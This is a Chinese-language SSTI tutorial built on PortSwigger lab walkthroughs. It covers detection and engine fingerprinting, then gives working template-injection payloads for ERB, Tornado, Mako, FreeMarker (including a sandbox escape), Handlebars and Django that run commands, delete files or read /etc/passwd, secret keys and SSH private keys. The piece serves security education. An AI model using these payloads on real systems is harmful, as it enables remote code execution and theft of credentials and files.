从0到1完全掌握 SSTI

文章链接

从0到1完全掌握-SSTI

SSTI 的这张图,异常生动,师傅们可以看看

0x01 前言

网上部分文章全是翻译没有自己的理解,打算自己写一篇。最早看到 ssti,是在 Python Flask 那儿,最近打算系统地学习一下 ssti。

SSTI 名字中也含有 "Injection",故 SSTI 的本质也是注入。

注入的本质就是格式化字符串漏洞的一种体现。

0x02 SSTI 概念明晰

1. 什么是服务器端模板注入(SSTI)

这个概念如果放在一起理解的话比较累,我们一点点拆分开理解,最后再给它并到一块儿去。

(1) 服务端模板引擎

模板引擎是为了使用户界面与业务数据分离而产生,它可以生成特定格式的文档,利用模板引擎来生成前端的 HTML 代码,模板引擎会提供一套生成 HTML 代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板 + 用户数据的前端 HTML 页面,然后反馈给浏览器,呈现在用户面前。

常见的模板引擎有 Java 的 Thymeleaf,Python 的 Flask 等。

模板引擎也会提供沙箱机制来进行漏洞防范,但是可以用沙箱逃逸技术来进行绕过。

(2) 注入的理解

注入的本质就是格式化字符串漏洞的一种体现。

我们在开发者本来认为我们应该插入正常数据的地方插入了 SQL 语句,这就破坏了原本的 SQL 语句的格式,从而执行了与原句完全不同含义的 SQL 语句达到了攻击者的目的,同理 XSS 在有些情况下的闭合标签的手法也是利用了格式化字符串这种思想,总之,凡是出现注入的地方就有着格式化字符串的影子。

(3) 合在一起:何为模板注入

模板注入 ———— 接下来都用 SSTI 代替它,SSTI 存在于 MVC 模式当中的 View 层;M 为 Model 数据层,V 为 View 视图层;C 为 Controller 控制层。而 SSTI 就存在于 View 视图层当中。

(4) SSTI 的危害

简单来说,更多的是 RCE 与数据泄露,之前也有看到过 DDOS 的,但还是以 RCE 为主。

0x03 Basic Exploit of SSTI

我们之前说到产生 SSTI 的原因和 SQL 注入是一样的,也就是将语句闭合,产生注入的效果。

1. SSTI 的攻击构造

毕竟渗透测试,对于所有渗透测试也都是适用的。
先从探测漏洞 --> 证明存在该漏洞 --> 漏洞的进一步利用

先从探测漏洞说起

(1) SSTI 的简单探测

最常用的方法是通过注入模板表达式中常用的一系列特殊字符来尝试模糊模板 ————这也被称作 fuzz 测试,例如${{<%[%'"}}%\

如果服务器返回了相关的异常语句则说明服务器可能在解析模板语法,然而 SSTI 漏洞会出现在两个不同的上下文中,并且需要使用各自的检测方法来进一步检测 SSTI 漏洞。

一、纯文字上下文

有的模板引擎会将模板语句渲染成 HTML,例如 Freemarker

render('Hello' + username) --> Hello Apce

因为会渲染成 HTML,所以这还可以导致 XSS 漏洞。但是模板引擎会自动执行数学运算,所以如果我们输入一个运算,例如

http://vulnerable-website.com/?username=${7*7}

如果模板引擎最后返回 Hello 49 则说明存在 SSTI 漏洞。而且不同的模板引擎的数学运算的语法有些不同,还需要查阅相关资料的。

二、代码上下文

以这样一段代码为例,同样是用来生成邮件的

greeting = getQueryParameter('greeting')
engine.render("Hello {{"+greeting+"}}", data)

上面代码通过获取静态查询参数 greeting 的值然后再填充到模板语句中,但是就像 SQL 注入一样,如果我们提前将双花括号闭合,然后就可以注入自定义的语句了。

2. 确定 Web 界面所用的模板引擎

这也算是探测的一种吧,但是这种探测是基于已知 SSTI 漏洞存在的二次探测,一般的做法是触发报错。

触发报错的方式很多,这里以 Ruby 的 ERB 引擎为例,输入无效表达式<%foobar%>触发报错。可以得到如下报销信息

(erb):1:in `<main>': undefined local variable or method `foobar' for main:Object (NameError)
from /usr/lib/ruby/2.5.0/erb.rb:876:in `eval' 
from /usr/lib/ruby/2.5.0/erb.rb:876:in `result' 
from -e:4:in `<main>'

根据不同的报错得到不同的模板引擎,我们可以按照这张图进行判断

{% asset_img template-decision-tree.png %}

有的时候相同的 payload 可能会有两种响应,比如{{7*’7’}}在 Twig 中会的到 49,而在 Jinja2 中会得到 7777777。

3. 构造利用的 payload

一般我们已经某处存在 SSTI,且探测出模板引擎之后,我们便可以 "面向谷歌攻击了"

学习基本语法、关键函数和变量处理是非常关键的,连这些都不会,就也没办法编写相应的 payload 了。比如如果我们知道了使用的是基于 python 的 Mako 模板引擎,我们可以编写这样的 payload。

<%
import os
x=os.popen('id').read()
%>
${x}

我们可以看到就是利用最基础的语法写的,所以这个环节也是很关键的。这段代码可以在非沙箱环境中实现远程代码执行,包括读取、编辑或删除任意文件。

2. SSTI EXP 编写

一、基础 SSTI Ruby ERB

##### Lab: Basic server-side template injection

题目告诉我们模板引擎是 ERB,删除 morale.txt。

ERB 的文档的语法如图所示

对主页面下进行/?message的参数探测,发现可以输入/?message
再构造探测的 Payload,并将其转换为 url 编码

%= 7*7 %

这里的回显 "49" 正是存在 SSTI 的证明,于是我们将7*7进行修改,改成任意命令注入的形式 ————system("whoami")

我们查看回显当中存在 whoami 的情况,回显为 carlos,我们再将 payload 修改为 system("rm /home/carlos/morale.txt"),Lab 解决。

二、代码上下文的 SSTI Python Tronado

##### Lab: Basic server-side template injection (code context)

已知是 Python Tronado,我们在知道 Python Tronado 的语法之后进行 SSTI 的存在性判断。

日常抓包,在 /my-account/change-blog-post-author-display接口下修改blog-post-author-display选项,并对 SSTI 存在性进行探测。使用的 Payload

blog-post-author-display=user.name}}{{7*7}}

接着我们随便发表一个评论,看一下显示的名称有没有变化

这么一来,便是存在 SSTI 了。

同样 RCE go ~ Payload

{% import os %}
{{os.system('rm /home/carlos/morale.txt')

在 Burpsuite Reapeater 当中应该输入

blog-post-author-display=user.name}}{%25+import+os+%25}{{os.system('rm%20/home/carlos/morale.txt')

随后需要在 Port 评论区刷新即可。

三、根据安全性文档反向攻击

很多公司当中都有代码规定,明确规定哪些函数可以使用,哪些函数有风险等。而我们可以通过这种安全性文档顺藤摸瓜,进行攻击

例如 ERB 引擎的安全文档指出可以列出所有目录,然后按如下方式读取任意文件。

<%= Dir.entries('/') %>
<%= File.open('/example/arbitrary-file').read %>

##### Lab: Server-side template injection using documentation

本题中,我们要先触发报错,了解是何种模板引擎之后再进行 SSTI 攻击。

先进行登录验证,使用 username: content-manager & password = C0nt3ntM4n4g3r 完成身份认证。到 Home 目录下,随意选中一个产品,选中 Edit template,在中输入<h1> ${2*2} </h1>探测是否存在 SSTI。

此种情况说明存在 SSTI,存在 SSTI 之后,我们将原本的<h1> ${2*ty} </h1>触发报错。

OK,现在的两部分已经探测完毕 ———— 证明 SSTI 的存在,确定 Web 界面所用的模板引擎,接下来我们构造 payload。

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("rm /home/carlos/morale.txt") }

这里的空格记得使用%20替代

四、调用一些已经存在的漏洞

Port 这里写的不太好,个人认为就是使用别人构造的 exploit。即当知道使用的是哪种模板引擎后可以利用搜索引擎查找是否有前人总结的漏洞利用方法,这样可以节约很多查阅文档的时间。

##### Lab: Server-side template injection in an unknown language with a documented exploit

打开靶场,不存在登录界面与 Edit Template 的界面,猜测是 message 参数中存在的 SSTI,我们先探测 SSTI 的存在性。

因为不知道使用的是哪一款模板引擎,所以我们需要输入各种版本的错误模板表达式以触发报错。这里我们使用之前讲到的 fuzz 测试 ————${{<%[%'"}}%\

这里,我们探测出模板引擎为 handlebars,上 Google 去查找 handlebars 的 payload,这里可以搜索 Handlebars server-side template injection。搜到了一个知名的 payload 模板。

wrtz{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').exec('[payload]');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

'[payload]'修改为rm morale.txt。因为是 GET 请求中的参数,所以我们需要将这段 Payload 进行 url 编码。

0x04 自己构造 Payload

这种情况一般是基于我们无法找到网上可用的 exploit

1. 寻找有权访问的对象,造成信息泄露

很多模板引擎存在如 "self" 和 "environment" 之类的对象,该类对象包含该类模板引擎支持的所有对象、方法和属性。例如基于 Java 的模板语言可以使用以下方法注入列出环境中的所有变量。

${T(java.lang.System).getenv()}

##### Lab: Server-side template injection with information disclosure via user-supplied objects

进靶场,我们还是尝试先通过报错来得到 Web 网站使用的模板引擎。输入 Fuzz 测试的内容 ————${{<%[%'"}}%\,发现所用的模板引擎为 Django。

题目让我们获得 framework's secret key,经过查阅文档得知,有一个内置的模板标签{% debug %},可以显示调试信息。

又查阅文档得知,{{settings.SECRET_KEY}}表达式可以查看指定的环境变量。在 Edit templates 下输入{{settings.SECRET_KEY}}即可。



后续部分在 Port 内不需要特别深入,后续会写文章进一步探索 SSTI 上的沙盒逃逸。

2. 通过代码审计的方式,发现功能点后进行 Payload 的构造

构造自定义的 Payload,有时候通过现有的公开的利用方式无法触发 SSTI 漏洞,比如模板引擎防止在沙箱环境中,此时需要审计每个功能点的可利用性来发现隐藏的漏洞点。

个人觉得这块比较偏原理了,如果是小白的话可以放一放,因为不懂原理,直接漏洞挖掘,没什么意思。

Port 这里的题目看不到源码的,做起来还是较为棘手,只能是看 Solution 扩展一下思路。

很多 SSTI 的题目都是这种感觉,思路是有的,但是缺乏寻找目标函数的高效方法。感觉最高效的就是看相关的安全文章和报告,因为官方文档中很少会介绍这些安全相关的函数用法。

##### Lab: Server-side template injection in a sandboxed environment

这道题使用了Freemarker模板引擎,因为沙盒的实现很糟糕,所以存在 SSTI 漏洞。

要求逃逸沙盒并读取my_password.txt

Payload:

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

会获得一传 Ascii 码,我们可以写个小脚本解析一下,将那串得到的 Ascii 码赋值给 s 即可。

s = ''
s = s.split(' ')
for x in s:
	print(chr(int(x)), end='')

3.使用开发者提供的对象构造 Payload

有时候即使有很多文档,但是没有有效的对象可以用来构造对象链,如果开发者针对当前目标创建了特定的对象,则可以通过不断观察它们并尝试构造漏洞。

##### Lab: Server-side template injection with a custom exploit

先登录进自己的账号,寻找使用了模板引擎的功能点。

一番探测之后,发现文件上传的地方存在使用模板引擎的情况,我们尝试传入 MIME 不为 jpg/image 的文件,触发报错

在这段报错中,avatar_upload.php 中创建了 User 对象,我们尝试基于 User 对象构造漏洞。

User 对象的 setAvatar 方法需要传入两个参数 ———— 一个是文件路径,另一个是 MIME 类型。我们尝试通过某些方法,执行 setAvatar 方法。

在 Burpsuite 的抓包历史当中找到/my-account/change-blog-post-author-display这一接口,调用 user.setAvatar 方法 ——user.setAvatar('/etc/passwd','image/png')

几步走:先发包,再点 Follow redirection;接着在 Blog 的评论区进行刷新;再发包/avatar?avatar=wiener这一接口。

这里点击 Follow Redirection

同样的原理,我们可以读取任意文件,针对题意查看id_rsa

user.setAvatar('/home/carlos/.ssh/id_rsa','image/jpg')

点击 Follow redirection 之后,刷新一下 Blog Comment 界面。

再发包/avatar?avatar=wiener,回显为 "Nothing to see here :)"。接着在/my-account/change-blog-post-author-display接口下,调用 user.gdprDelete() 命令即可,Lab Solved,可能比较慢,稍等即可。

0x05 SSTI 的防护

(1) 和其他的注入防御一样,绝对不要让用户对传入模板的内容或者模板本身进行控制。
(2) 减少或者放弃直接使用格式化字符串结合字符串拼接的模板渲染方式,使用正规的模板渲染方法。

0x06 总结

本篇基于 Port,对 SSTI 进行了入门级的讲解,后续的内容还是以代码审计为主,深入一下 SSTI 的 EXP 利用。